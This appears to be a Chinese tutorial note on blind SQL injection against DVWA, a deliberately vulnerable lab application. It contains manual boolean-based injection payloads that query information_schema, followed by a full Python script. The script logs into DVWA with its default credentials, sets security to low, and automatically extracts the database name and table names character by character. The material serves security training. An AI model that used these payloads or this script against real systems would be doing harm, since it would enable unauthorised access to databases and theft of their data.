2021-01-14

在这里插入代码片
    #猜测表的个数,系统默认的information_schema下的TABLES里有各个数据库名（table_schema）和表名(table_name)的字段
        # 正确返回1，错误返回0
        # 1' and (select COUNT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='dvwa')=2#

    #猜测表长度,获取名字后length
        # LIMIT 0,1 就是LIMIT 1 取第一条，只写一个默认从索引0也就是第一个开始取,
        # 获取这个dvwa数据库的第一个表的名字长度
            # 1' and LENGTH((select TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='dvwa' LIMIT 0,1))=9#
            # select LENGTH((select TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='dvwa' LIMIT 1,1))

    #猜表的名字，获取;注意后面两个1，1是从第一个位置开始取一个数，前面的1，1是从第二个位置取一个数，limit索引是从0开始
        #1' and substring((select TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='dvwa' LIMIT 1,1),1,1)='u'#
        # select substring((select TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='dvwa' LIMIT 1,1),1,1)='u'

    # 盲注例子：
        # import re
        #
        # import requests
        #
        # #1.请求获取hidden
        # def get_hidden(url='http://10.0.7.167/dvwa/login.php'):
        #     req=requests.session()
        #     ret=req.get(url)
        #     html=ret.text
        #     token=re.findall("<input type='hidden' name='user_token' value='(.+?)'", html)
        #     token=token[0]
        #
        #     login(token,req,url)
        #     update_sec(token,req)
        #     return req
        #
        # #2.登录
        # def login(token,req,url):
        #     logindata={
        #         'username': 'admin',
        #         'password': 'password',
        #         'Login': 'Login',
        #         'user_token': token
        #     }
        #     req.post(url,data=logindata)
        #
        # #3.修改安全等级
        # def update_sec(token,req):
        #     surl='http://10.0.7.167/dvwa/security.php'
        #     sedata={
        #         'security': 'low',
        #         'seclev_submit': 'Submit',
        #         'user_token': token
        #     }
        #     req.post(surl,data=sedata)
        #
        # #4.猜测数据库名字长度
        # def database_len(req):
        #     data_len=1
        #     for i in range(20):
        #         lenurl=f'http://10.0.7.167/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+LENGTH%28DATABASE%28%29%29%3D{i}%23&Submit=Submit'
        #         retu=req.get(lenurl)
        #         if judge(retu.text):
        #             print(f'长度为{i}')
        #             data_len=i
        #     return data_len
        #
        # #5.猜数据库名字
        # def database_name(req,data_len):
        #     data_name1=''
        #     for i in range(1,data_len+1):
        #         str='abcdefghijklmnopqrstuvwxyz'
        #         for j in str:
        #             zimuurl=f'http://10.0.7.167/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+substring%28database%28%29%2C{i}%2C1%29%3D%27{j}%27%23&Submit=Submit'
        #             retu2=req.get(zimuurl)
        #             if judge(retu2.text):
        #                 print(f'第{i}字母为：{j}')
        #                 data_name1 += j
        #     print(f'数据库名字{data_name1}')
        #     return data_name1
        #
        # #6.猜数据库里有多少个表；系统默认的information_schema下的TABLES里有各个数据库名（table_schema）和表名(table_name)的字段
        # def table_s(req,data_name1):
        #     table_sum=0
        #     for i in range(100):
        #         table_sum_url=f'http://10.0.7.167/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+%28select+COUNT%28TABLE_NAME%29+FROM+' \
        #                       f'information_schema.TABLES+WHERE+TABLE_SCHEMA%3D%27{data_name1}%27%29%3D{i}%23&Submit=Submit'
        #         table_req=req.get(table_sum_url)
        #         if judge(table_req.text):
        #             print(f'表的个数是：{i}')
        #             table_sum=i
        #     return table_sum
        #
        # #7.猜表的名字长度和名字
        # def table_name_len(req,table_sum,data_name1):
        #     table_name_len=[]
        #     tablename=[]
        #     str2=''
        #     str1='abcdefghijklmnopqrstuvwxyz'
        #     for i in range(table_sum):
        #         #猜第i个表的名字长度
        #         for j in range(100):
        #             table_len_url=f'http://10.0.7.167/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+LENGTH%28%28select+TABLE_NAME+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA%3D%27{data_name1}%27+LIMIT+{i}%2C1%29%29%3D{j}%23&Submit=Submit'
        #             table_len=req.get(table_len_url)
        #             if judge(table_len.text):
        #                 print(f'第{i+1}表名字的长度是：{j}')
        #                 table_name_len.append(j)
        #                 # 猜测i个表的名字
        #                 for s in range(1,j+1):
        #                     for r in str1:
        #                         table_name_url=f'http://10.0.7.167/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+TABLE_NAME+FROM+information_schema.' \
        #                                        f'TABLES+WHERE+TABLE_SCHEMA%3D%27{data_name1}%27+LIMIT+{i}%2C1%29%2C{s}%2C1%29%3D%27{r}%27%23&Submit=Submit'
        #                         table_name=req.get(table_name_url)
        #                         if judge(table_name.text):
        #                             # print(f'第{i+1}表名字的长度是:{j}；其名字第{s}个是{r}')
        #                             print(f'其名字第{s}个是{r}')
        #                             str2+=r
        #         tablename.append(str2)
        #         str2=''
        #     return tablename
        #
        # #共性是判断
        # def judge(flag_text):
        #     if 'User ID exists in the database' in flag_text:
        #         return True
        #     else:
        #         return False
        #
        # #调用显示
        # def display():
        #     #调用登录函数
        #     req=get_hidden()
        #
        #     #调用猜测函数长度，名字等
        #     data_len=database_len(req)
        #     data_name1=database_name(req,data_len)
        #     table_sum=table_s(req,data_name1)
        #     tablename=table_name_len(req,table_sum,data_name1)
        #
        #     print(f'数据库的名字是:{data_name1}')
        #     print(f'表的名字是:{tablename}')
        #
        #     return data_name1,tablename
        #
        #
        # if __name__ == '__main__':
        #     print('---------------------------------------')
        #     data_name1,tablename=display()
        #
        #